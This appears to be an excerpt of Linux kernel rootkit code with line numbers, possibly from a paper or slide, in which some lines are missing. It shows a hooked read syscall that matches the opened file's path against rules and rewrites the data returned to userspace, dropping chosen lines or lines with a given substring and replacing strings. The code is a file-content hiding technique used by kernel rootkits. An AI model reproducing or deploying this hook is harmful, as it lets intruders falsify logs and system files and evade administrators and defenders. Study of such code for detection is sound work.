8asmlinkage
long notrace
read_hook(
const struct pt_regs *regs) {
15 struct file *f = fget(fd);
18 struct path p = f->f_path;
21 char *fullpath = d_path(&p, buf,
sizeof(buf));
29 char *rule_payload = NULL;
33 if (strcmp(fullpath, it->
value) == 0) {
44 char *dup = kstrdup(rule_payload, GFP_KERNEL);
47 char *fld[4] = { NULL, NULL, NULL, NULL };
49 for (i = 0; i < 3; i++)
50 fld[i] = strsep(&dup,
":");
53 int hide_line = simple_strtol(fld[0], NULL, 10);
54 char *hide_substr = fld[1][0] ? fld[1] : NULL;
55 char *src = fld[2][0] ? fld[2] : NULL;
56 char *dst = fld[3][0] ? fld[3] : NULL;
59 char *kbuf = kmalloc(ret + 1, GFP_KERNEL);
62 if (copy_from_user(kbuf, (
char __user *)regs->si, ret)) {
70 char *out = kmalloc(ret * 2 + 1, GFP_KERNEL);
79 while ((line = strsep(&kbuf,
"\n"))) {
84 if (hide_line > 0 && line_no == hide_line)
88 if (!skip && hide_substr && strstr(line, hide_substr))
93 char *seg = line, *p2;
94 while ((p2 = strstr(seg, src))) {
96 size_t before = p2 - seg;
97 memcpy(out + out_len, seg, before);
101 memcpy(out + out_len, dst, strlen(dst));
102 out_len += strlen(dst);
103 seg = p2 + strlen(src);
107 strcpy(out + out_len, seg);
108 out_len += strlen(seg);
109 out[out_len++] =
'\n';
115 memcpy(out + out_len, line, strlen(line));
116 out_len += strlen(line);
117 out[out_len++] =
'\n';
123 if (!copy_to_user((
char __user *)regs->si, out, out_len))